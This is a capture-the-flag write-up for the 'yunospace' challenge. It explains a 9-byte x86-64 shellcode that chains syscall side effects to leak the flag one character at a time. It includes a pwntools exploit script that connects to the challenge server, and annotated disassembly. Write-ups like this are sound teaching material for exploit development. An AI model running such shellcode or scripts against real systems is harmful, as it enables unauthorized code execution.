How does free code execution sound to you? If only the whole thing wasn’t that narrow.
yunospace was a very interesting challenge, it had a very clear target but was very tricky to achieve.
yunospace creates two empty mmaped regions at randomized adresses, these are used as code (rx) and stack region (rw).
9 bytes are read from
stdin and put into beginning of the code region. One character of the flag we can choose is put right after our input. Then all registers besides
rsp which points into the middle of the stack region are zeroed and we jump to our code.
So clearly we have to write 9 bytes of machine code with a working empty stack to print the flag character.
Some hours spent experimenting and browsing Intel Assembly Manual, this is what we came up with:
from pwn import * """ 000000: 0f 05 syscall 000002: 01 ca add edx,ecx 000004: 51 push rcx 000005: 5e pop rsi 000006: ac lods al,BYTE PTR ds:[rsi] 000008: 0f 05 syscall """ flag = "" for i in range(58): c = remote("188.8.131.52", 8664) c.recvuntil(b"today?\n").decode() c.sendline(str(i).encode()) c.recvuntil(b"please.\n").decode() c.sendline(b"\x0f\x05\x01\xca\x51\x5e\xac\x0f\x05") out = c.recv(10) flag += chr(out) print(flag)
So what is happening here?
00: 0f 05 syscall
Since all registers are
0 this effectively does a
read(0, NULL, 0), so the syscall tries to read 0 bytes from stdin into a NULL pointer. Conveniently this does not crash, but has the very important sideeffect of loading the address after the syscall into
rcx. A rip-relative
lea would need 7 bytes, a
pop combo would use 6 bytes. This version combined with the next only uses 4!
02: 01 ca add edx,ecx
edx, which specifies the length of the
write syscall. We just need
edx to be >6 to print the flag character after our code so any big positive value works for us, we do not care about a page fault after we have received our output. Most importantly this instruction has opcode
01 which will be used later.
04: 51 push rcx 05: 5e pop rsi
This moves the 64bit-address from
rsi wich specifies the buffer to print for
write. It only needs 2 bytes because
pop are two of the few instructions that do not need REX-Prefix for 64bit.
06: ac lods al,BYTE PTR ds:[rsi]
lodsb loads the value at the address pointed to by
al and then increments
al = [rsi]; rsi++. Since
rsi points to our
add edx,ecx instruction which has opcode
01 this sets
rax to 1, the syscall number for
write! This was the last bit of magic we had to find to save that crucial last byte!
08: 0f 05 syscall
write(0, <address of add + 1>, (32bit-truncated) <address of add>). This writes to
rdi is zero. But we still get the output on our terminal! (Thank you linux!). This behaviour means we do not have to set
rdi to 1 for printing to
stdout which saves us 2 bytes.
The program subsequently crashes but we already have what we want so we don’t care.